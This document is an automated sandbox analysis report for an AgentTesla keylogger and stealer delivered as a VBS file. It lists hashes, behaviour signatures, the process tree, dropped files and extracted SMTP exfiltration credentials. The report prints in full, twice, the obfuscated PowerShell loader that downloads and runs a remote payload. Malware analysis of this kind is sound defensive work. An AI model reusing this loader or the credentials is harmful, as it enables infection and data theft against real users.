Overview

overview

10

Static

static

1

b3e39db3b2...29.vbs

windows7-x64

8

b3e39db3b2...29.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/10/2024, 01:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    b3e39db3b2ee5694d8a744f7bf2b4e8f6bfda9ef25efac108944121aa1adca29.vbs

  • Size

    14KB

  • MD5

    8da826028e4419bbd91161bac9d14a81

  • SHA1

    32ccd920374f472022a37b9498067727e70145bf

  • SHA256

    b3e39db3b2ee5694d8a744f7bf2b4e8f6bfda9ef25efac108944121aa1adca29

  • SHA512

    2ccbb6c77b0ed8d516058d1487ea5f595665bc551f5dc5bb07b3b0ae5b659766b368619b1e9b5ff7a24fe20406ac1731a6057da005231379a77feee0dc44d8f4

  • SSDEEP

    384:/tibRuAClkq8u/jkfXh5TZAaCvPEVZLUWvZd4h:MbwAClkq8PPj1w2ZLdoh

Score
10/10
agenttesladiscoveryexecutionkeyloggerspywarestealertrojan

Malware Config

Extracted

Credentials

  • Protocol:     smtp
  • Host:
    smtp.yandex.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    marcellinus360

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b3e39db3b2ee5694d8a744f7bf2b4e8f6bfda9ef25efac108944121aa1adca29.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Theezan Reolpljende Saddelens Gerip Karrooers Unbaptize #>;$Receptivere='Membered';<#Lankily Udgiftssiden Fravnnet Safemaker #>;$Opsigtsvkkende=$Delrepublikkerne250+$host.UI;function Linjxor($Unapplianced){If ($Opsigtsvkkende) {$Valerians++;}$Checklaton=$Microscopium+$Unapplianced.'Length'-$Valerians; for( $Highhandedness=4;$Highhandedness -lt $Checklaton;$Highhandedness+=5){$Dopingmisbrug++;$ingemann+=$Unapplianced[$Highhandedness];$Chiffonnieres='Agerdyrknings';}$ingemann;}function Vrdihefter($Udlagt){ . ($Randpunkternes) ($Udlagt);}$Smallishness36=Linjxor ' herMplacoAlbuz Frai Ornl .dkl iltaTaks/ en ';$Smallishness36+=Linjxor ' Ra 5Milj.Kape0Om a Za.t(ParoWhd,riOffenEk pd libo,untwMasksGodm UnneNOpgaT Opb Stiv1Meaz0 eks. us0K oc;Stra NuliW occiSeminBjer6 pek4S sq;Fy i MonoxIn,a6Firb4Tegn; E,k Y jerSa ovNoni:Blac1.ang3 Mar1Scal.Saxo0 yt)Fire WiniGar eeMoric UmokSubcoM ne/Appl2Skyd0Hy e1Emb,0Pri 0.ryk1Dor 0Ratw1Styl ,alaF ColiDammrVenteDaucfG unoRozexToni/linj1 Gar3Stri1Acet.Dact0.ala ';$Tantalization=Linjxor 'UninuSloasUkl EDik R.arn-Ki.cAMitcGKvldeRu,tNUfortAuma ';$Modulize=Linjxor 'Pr,ghAfflt asst F mpEpi : ng/Cirk/Unde1 C l0blod1Eksa.Fald9Haan9 Shr. Ci 9Anti4 A t.houh1Kono9 Vel5Vrti/SearPMarlaLuf,rJungaSammmUndeumutut IndhGasteSkunt DeliTruscSk l. udppTerrccitrxTomn ';$Overinsist227=Linjxor ' Fal>Gaso ';$Randpunkternes=Linjxor 'StriIHemmeReg XSde. ';$logically='Ceviches82';$Rheoscope='\Sivets.Pro';Vrdihefter (Linjxor 'Tali$EloxgNibsl FngO riBsproAModuLLamm:ParsNT biUAfpoS Gifs s,uE ccRImmaIAltf=Caps$Ven.EGrntnafprV S i:Dig aH lsPDe fpW dddtobaADelttSoppa ,ub+ H n$BeakRAfteHVolce,rugo SorsConfcAftroStorP,hadETema ');Vrdihefter (Linjxor 'Mark$tahogPreuLalf,Omag,bS mma anclAllu:Gconm CeloPulvdNonseRichRsikknC iciUdtvTCithe rdT FileS,ovr DensWrit=Cryp$AntiMPityO.urid Posuh rrl Labi DigZIsmaEScow. .ewSThroP,lueLChetIRo.btUl t( .ul$BefrO,estVWinde BrirAggliFoi nTri sk nyIUnadSforgTS,ng2 ,li2 .ek7Unri)fund ');Vrdihefter (Linjxor '.ona[DogeNCocke hedTDevi. MilsValgETranrD bbV UndI fteCIndiestubPUncooUd.aiBroon Melt CytMHjelAPythN NonAS.ciGIatrENonrRTurk]Qu l: s,a:uninsRgreePuliCUltru jaeR AllINewtTKampyLivvpUnpuRGennOKrigttaa.oCommCBl.ao tamLanou Beha=Damk Wasa[extenEmotEGrunTHy o. SysSEskaEBraicAgenuKl.pR Uvsi GaiTNot,y ZonP alarNedroDuvetLouroHje.CSop O Brul ApitHo dYFladPeks EIler]t,na:Scin: O.tTSt al,kadsCure1Maan2Orch ');$Modulize=$Moderniteters[0];$Honningmeloner=(Linjxor 'Tek.$ ithg ibalvando uicbS,rya ygLNose: TrasBer PSc.iA,couYVrisIVasonEpigGSing=SpurnPhysEAbscw Djv-ExtroEtikb.onpjInfaEil eCCa eTT rb ForvsMycoyBoniSArseTChese SenmMe,i.DameNspa.eGalgtYowl.A,ndW Hj.e MamB,ncoCGlasl PyriPiraeArvenDrtrTMeta ');Vrdihefter ($Honningmeloner);Vrdihefter (Linjxor 'Chas$reifSTjenpSpk aCrowyundei eren.rargBere.MaibH.arteTe raTaffdSengeBr.orOpblsFork[Nvn,$L ndTklo amassnInfitKonvaEn,rlVap iBagpzP,ofa Indt Poti onso essnDef ] R s=unsi$ ,kySCo nmWrotaCephl railArkfiCardsDevahRustnHodoeFinas Purs Sta3Bi o6B lg ');$Thinglikeness205=Linjxor ' Sy $Tra SDresptromaGranyBidriHymnnH eggMord. DjeD ldfoIi swHomen luslLannoJer,aGrejd ietFForuiDeinlOu teUkun(Hypo$ KeyM ucoA prdSureuD,selExtri inkz Eloe .ky, Cho$Ha fmPassoLardrLongsatomeBardlKo miP essUngieFret)Fani ';$morselise=$Nusseri;Vrdihefter (Linjxor ' Sel$ L,tGDetelScatoLe.fbK,rsA P.olK pe: recR.allkLixie ufonafbrEOpmrr onnLandePaveSBekn=Peta(LocatAcroE A ssCuloTSubt- ForpSkiraParjtPartHBeti Swor$PlisM K yo ZonRSearsneatEStralaludiMhlas MalE spa)For ');while (!$Rkenernes) {Vrdihefter (Linjxor ' idk$Skotg GudlHeltoForsbKastacom,l,opp:TheoFStenr DugeIn.emA.sosS agi Unsg Svae callKrigsPlaieHi e=Fle.$KommtRevirCrunuMordeMyel ') ;Vrdihefter $Thinglikeness205;Vrdihefter (Linjxor '.eboSUromTLoppA P lrF.nktMaha-RefesTrajlPhaneSte EDomiP Con Wobb4 Sn, ');Vrdihefter (Linjxor 'Phel$SavnG oklUltroEkseb vitAPlu.lFinm:WintrOve.kgraneIndtnUfejE,kstr atrn R de DynSSll = Spi(RygetD,niERekosAeolT Slu-kridP KruaBrk t R ahSls grav$ IsfMhereO UnpRtomes UdleMiohL BarILames Kbee.orb)V.se ') ;Vrdihefter (Linjxor 'Song$ geng.orblNomioPotaBR.atAIconlstan:FaktM Lo,OOutsrE.saAMira= Ma $SnargF.rvlPaakO DooBSubgaApolLSexi:DeprhMi ky allP AscECuboRRec MAndeOmiljrNedgAPr cLLurkLKribYBene9Uhaa1El k+ ans+Adip%Micr$PrisMTab oU reDD treAntirEffenMedii VittD teETurbtFlu E.ddaRairisHe,e.PersCPhosoM louIt,sNLn otBum ') ;$Modulize=$Moderniteters[$Mora];}$Raadsvampenes=312410;$Diapiric253=31962;Vrdihefter (Linjxor 'Unha$ GipGSkatlDdsfOProgb UriANuliLNrin: uebC Ov,yWoldRarbeImi nlDorilGalsIG lnCYous Dele=Afbr S,orGVo de svatover- M lC IneOTermn naitSirtEUnsmn TryTC ra End$Ho eMHalvoBlacrInfosDioce uccl SmaiAaresIldneAd i ');Vrdihefter (Linjxor 'udsk$Camog orlFlngoUo sbForeaCoatlKom :.andTDesirBearoPedimRentmWhizeForbdMisceTolks ho Crem=priv Rear[PatrSStany Clesdetat O teLibemMoll.FrilC BeeoEuctnEpisvSl.we ogarSko.tBaro] ,ro: Sh : ilbF everBannoEx nm greBstila ynsT.rseTres6 Se.4Teo Ssumpt ,virBrygiTrucnMartg Ska(Su l$dowdCAggryVo.crDu,ei,ersldetelGasoiHydrce cr)Anmo ');Vrdihefter (Linjxor 'Side$Br,ngSay L HorO W.ibnovoa tedlL dl:RumpsDattPForsI .elsPseueDiamm Albu ProLYielIEquiGTrophSpalEKli DAmfeEHundRGasan SquEHag Empl=Alte Ta [To as EliyIn usRingTBioteUgleMgep,.s optLeuceLrrexNaboTSv l.DisheR,diNAlbicKultoano,DovatiRengN DooGOmga] Byg:Vari: ,ysA CocsFlu.cFyrriPantiPadn.GemugGilgE vist weSConctGabeREartIMuskNN nugNedl(Ro i$ GeltIldsrtillOReciMShehMJoyiE jedD oggEVerbS Op ) rst ');Vrdihefter (Linjxor 'Unun$ F,rg FaslSp.roHet B StaA nllTaoi:Dop s StoVspeko Sp VSuthLGenrsTindYApsiRHusfEFagmNDemisStjm=Bepl$RepisMl ePPropiItalsHov,eGl rM.kimuPe,lLRattIPartGunfohD miePolydDemoeE,sirFordn T eE C,n.EpacS IdruFrembBumbSL dyTRisirN glIDespNPrv,gSu.c( Sec$ tenr SmaaloonA Be.DEt.ds UndvIrr,AMythmPeripReciESvrnNErhvESvrdS ri,S mh$ SchDForvISultASolsPSkoviPaatRDyadiDomiCIn d2 Omn5Nons3Akt ) p o ');Vrdihefter $Svovlsyrens;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1124
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Theezan Reolpljende Saddelens Gerip Karrooers Unbaptize #>;$Receptivere='Membered';<#Lankily Udgiftssiden Fravnnet Safemaker #>;$Opsigtsvkkende=$Delrepublikkerne250+$host.UI;function Linjxor($Unapplianced){If ($Opsigtsvkkende) {$Valerians++;}$Checklaton=$Microscopium+$Unapplianced.'Length'-$Valerians; for( $Highhandedness=4;$Highhandedness -lt $Checklaton;$Highhandedness+=5){$Dopingmisbrug++;$ingemann+=$Unapplianced[$Highhandedness];$Chiffonnieres='Agerdyrknings';}$ingemann;}function Vrdihefter($Udlagt){ . ($Randpunkternes) ($Udlagt);}$Smallishness36=Linjxor ' herMplacoAlbuz Frai Ornl .dkl iltaTaks/ en ';$Smallishness36+=Linjxor ' Ra 5Milj.Kape0Om a Za.t(ParoWhd,riOffenEk pd libo,untwMasksGodm UnneNOpgaT Opb Stiv1Meaz0 eks. us0K oc;Stra NuliW occiSeminBjer6 pek4S sq;Fy i MonoxIn,a6Firb4Tegn; E,k Y jerSa ovNoni:Blac1.ang3 Mar1Scal.Saxo0 yt)Fire WiniGar eeMoric UmokSubcoM ne/Appl2Skyd0Hy e1Emb,0Pri 0.ryk1Dor 0Ratw1Styl ,alaF ColiDammrVenteDaucfG unoRozexToni/linj1 Gar3Stri1Acet.Dact0.ala ';$Tantalization=Linjxor 'UninuSloasUkl EDik R.arn-Ki.cAMitcGKvldeRu,tNUfortAuma ';$Modulize=Linjxor 'Pr,ghAfflt asst F mpEpi : ng/Cirk/Unde1 C l0blod1Eksa.Fald9Haan9 Shr. Ci 9Anti4 A t.houh1Kono9 Vel5Vrti/SearPMarlaLuf,rJungaSammmUndeumutut IndhGasteSkunt DeliTruscSk l. udppTerrccitrxTomn ';$Overinsist227=Linjxor ' Fal>Gaso ';$Randpunkternes=Linjxor 'StriIHemmeReg XSde. ';$logically='Ceviches82';$Rheoscope='\Sivets.Pro';Vrdihefter (Linjxor 'Tali$EloxgNibsl FngO riBsproAModuLLamm:ParsNT biUAfpoS Gifs s,uE ccRImmaIAltf=Caps$Ven.EGrntnafprV S i:Dig aH lsPDe fpW dddtobaADelttSoppa ,ub+ H n$BeakRAfteHVolce,rugo SorsConfcAftroStorP,hadETema ');Vrdihefter (Linjxor 'Mark$tahogPreuLalf,Omag,bS mma anclAllu:Gconm CeloPulvdNonseRichRsikknC iciUdtvTCithe rdT FileS,ovr DensWrit=Cryp$AntiMPityO.urid Posuh rrl Labi DigZIsmaEScow. .ewSThroP,lueLChetIRo.btUl t( .ul$BefrO,estVWinde BrirAggliFoi nTri sk nyIUnadSforgTS,ng2 ,li2 .ek7Unri)fund ');Vrdihefter (Linjxor '.ona[DogeNCocke hedTDevi. MilsValgETranrD bbV UndI fteCIndiestubPUncooUd.aiBroon Melt CytMHjelAPythN NonAS.ciGIatrENonrRTurk]Qu l: s,a:uninsRgreePuliCUltru jaeR AllINewtTKampyLivvpUnpuRGennOKrigttaa.oCommCBl.ao tamLanou Beha=Damk Wasa[extenEmotEGrunTHy o. SysSEskaEBraicAgenuKl.pR Uvsi GaiTNot,y ZonP alarNedroDuvetLouroHje.CSop O Brul ApitHo dYFladPeks EIler]t,na:Scin: O.tTSt al,kadsCure1Maan2Orch ');$Modulize=$Moderniteters[0];$Honningmeloner=(Linjxor 'Tek.$ ithg ibalvando uicbS,rya ygLNose: TrasBer PSc.iA,couYVrisIVasonEpigGSing=SpurnPhysEAbscw Djv-ExtroEtikb.onpjInfaEil eCCa eTT rb ForvsMycoyBoniSArseTChese SenmMe,i.DameNspa.eGalgtYowl.A,ndW Hj.e MamB,ncoCGlasl PyriPiraeArvenDrtrTMeta ');Vrdihefter ($Honningmeloner);Vrdihefter (Linjxor 'Chas$reifSTjenpSpk aCrowyundei eren.rargBere.MaibH.arteTe raTaffdSengeBr.orOpblsFork[Nvn,$L ndTklo amassnInfitKonvaEn,rlVap iBagpzP,ofa Indt Poti onso essnDef ] R s=unsi$ ,kySCo nmWrotaCephl railArkfiCardsDevahRustnHodoeFinas Purs Sta3Bi o6B lg ');$Thinglikeness205=Linjxor ' Sy $Tra SDresptromaGranyBidriHymnnH eggMord. DjeD ldfoIi swHomen luslLannoJer,aGrejd ietFForuiDeinlOu teUkun(Hypo$ KeyM ucoA prdSureuD,selExtri inkz Eloe .ky, Cho$Ha fmPassoLardrLongsatomeBardlKo miP essUngieFret)Fani ';$morselise=$Nusseri;Vrdihefter (Linjxor ' Sel$ L,tGDetelScatoLe.fbK,rsA P.olK pe: recR.allkLixie ufonafbrEOpmrr onnLandePaveSBekn=Peta(LocatAcroE A ssCuloTSubt- ForpSkiraParjtPartHBeti Swor$PlisM K yo ZonRSearsneatEStralaludiMhlas MalE spa)For ');while (!$Rkenernes) {Vrdihefter (Linjxor ' idk$Skotg GudlHeltoForsbKastacom,l,opp:TheoFStenr DugeIn.emA.sosS agi Unsg Svae callKrigsPlaieHi e=Fle.$KommtRevirCrunuMordeMyel ') ;Vrdihefter $Thinglikeness205;Vrdihefter (Linjxor '.eboSUromTLoppA P lrF.nktMaha-RefesTrajlPhaneSte EDomiP Con Wobb4 Sn, ');Vrdihefter (Linjxor 'Phel$SavnG oklUltroEkseb vitAPlu.lFinm:WintrOve.kgraneIndtnUfejE,kstr atrn R de DynSSll = Spi(RygetD,niERekosAeolT Slu-kridP KruaBrk t R ahSls grav$ IsfMhereO UnpRtomes UdleMiohL BarILames Kbee.orb)V.se ') ;Vrdihefter (Linjxor 'Song$ geng.orblNomioPotaBR.atAIconlstan:FaktM Lo,OOutsrE.saAMira= Ma $SnargF.rvlPaakO DooBSubgaApolLSexi:DeprhMi ky allP AscECuboRRec MAndeOmiljrNedgAPr cLLurkLKribYBene9Uhaa1El k+ ans+Adip%Micr$PrisMTab oU reDD treAntirEffenMedii VittD teETurbtFlu E.ddaRairisHe,e.PersCPhosoM louIt,sNLn otBum ') ;$Modulize=$Moderniteters[$Mora];}$Raadsvampenes=312410;$Diapiric253=31962;Vrdihefter (Linjxor 'Unha$ GipGSkatlDdsfOProgb UriANuliLNrin: uebC Ov,yWoldRarbeImi nlDorilGalsIG lnCYous Dele=Afbr S,orGVo de svatover- M lC IneOTermn naitSirtEUnsmn TryTC ra End$Ho eMHalvoBlacrInfosDioce uccl SmaiAaresIldneAd i ');Vrdihefter (Linjxor 'udsk$Camog orlFlngoUo sbForeaCoatlKom :.andTDesirBearoPedimRentmWhizeForbdMisceTolks ho Crem=priv Rear[PatrSStany Clesdetat O teLibemMoll.FrilC BeeoEuctnEpisvSl.we ogarSko.tBaro] ,ro: Sh : ilbF everBannoEx nm greBstila ynsT.rseTres6 Se.4Teo Ssumpt ,virBrygiTrucnMartg Ska(Su l$dowdCAggryVo.crDu,ei,ersldetelGasoiHydrce cr)Anmo ');Vrdihefter (Linjxor 'Side$Br,ngSay L HorO W.ibnovoa tedlL dl:RumpsDattPForsI .elsPseueDiamm Albu ProLYielIEquiGTrophSpalEKli DAmfeEHundRGasan SquEHag Empl=Alte Ta [To as EliyIn usRingTBioteUgleMgep,.s optLeuceLrrexNaboTSv l.DisheR,diNAlbicKultoano,DovatiRengN DooGOmga] Byg:Vari: ,ysA CocsFlu.cFyrriPantiPadn.GemugGilgE vist weSConctGabeREartIMuskNN nugNedl(Ro i$ GeltIldsrtillOReciMShehMJoyiE jedD oggEVerbS Op ) rst ');Vrdihefter (Linjxor 'Unun$ F,rg FaslSp.roHet B StaA nllTaoi:Dop s StoVspeko Sp VSuthLGenrsTindYApsiRHusfEFagmNDemisStjm=Bepl$RepisMl ePPropiItalsHov,eGl rM.kimuPe,lLRattIPartGunfohD miePolydDemoeE,sirFordn T eE C,n.EpacS IdruFrembBumbSL dyTRisirN glIDespNPrv,gSu.c( Sec$ tenr SmaaloonA Be.DEt.ds UndvIrr,AMythmPeripReciESvrnNErhvESvrdS ri,S mh$ SchDForvISultASolsPSkoviPaatRDyadiDomiCIn d2 Omn5Nons3Akt ) p o ');Vrdihefter $Svovlsyrens;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4840

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    7e7714069e010e9ff0b351ee81de28bd

    SHA1

    f12b4745282991aa69ad9734f198c3d32f1939ef

    SHA256

    5d0f49bf4806b93153590a3ec6ef8827b77e5af170bfac9c9fb5be95cabfd07d

    SHA512

    8e70f0e777e7f1f197ef8f77e373444f8b9368240a97f24cc8fe815c81e16e2042f8ac19d22c199c56fe4da59267429cdd3302e466c3d73b25af178e7bed96d1

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1ksreft.lqt.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Sivets.Pro
    Filesize

    448KB

    MD5

    19decbc4a83f1c6a834f6b895c1f0a26

    SHA1

    122f2eeb0e375ff93de83d50616c23950a340f36

    SHA256

    83fd1e83f2a133c34b3caf6198d993fe4491a8980db88890df9afad986c69ebc

    SHA512

    9fb515ae6e1cb33fb34afa45cb3cc732a1c12808fe929fbbea658c2fa5cc63b6171c586d1ff0309d18f78b3ce9c14ee14bdfee72389ca88710b0436afaa05034

    Download Submit

  • memory/1124-11-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-12-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-13-0x00007FFFAC463000-0x00007FFFAC465000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1124-15-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-17-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-18-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-21-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1124-0-0x00007FFFAC463000-0x00007FFFAC465000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1124-10-0x000002257DBB0000-0x000002257DBD2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2952-43-0x0000000007750000-0x0000000007772000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2952-42-0x00000000077C0000-0x0000000007856000-memory.dmp

    Filesize

    600KB

    Download

  • memory/2952-26-0x0000000005E10000-0x0000000005E76000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2952-36-0x0000000005F00000-0x0000000006254000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/2952-24-0x0000000005650000-0x0000000005672000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2952-23-0x0000000005690000-0x0000000005CB8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/2952-22-0x0000000004FA0000-0x0000000004FD6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/2952-40-0x0000000007DA0000-0x000000000841A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/2952-41-0x0000000006AC0000-0x0000000006ADA000-memory.dmp

    Filesize

    104KB

    Download

  • memory/2952-25-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2952-38-0x0000000006530000-0x000000000654E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/2952-44-0x00000000089D0000-0x0000000008F74000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2952-39-0x0000000006560000-0x00000000065AC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/2952-46-0x0000000008F80000-0x000000000D5BF000-memory.dmp

    Filesize

    70.2MB

    Download

  • memory/4840-47-0x00000000012C0000-0x0000000002514000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/4840-48-0x00000000012C0000-0x0000000001300000-memory.dmp

    Filesize

    256KB

    Download

  • memory/4840-49-0x00000000255B0000-0x0000000025600000-memory.dmp

    Filesize

    320KB

    Download

  • memory/4840-50-0x00000000256A0000-0x000000002573C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/4840-52-0x00000000257E0000-0x0000000025872000-memory.dmp

    Filesize

    584KB

    Download

  • memory/4840-53-0x0000000025750000-0x000000002575A000-memory.dmp

    Filesize

    40KB

    Download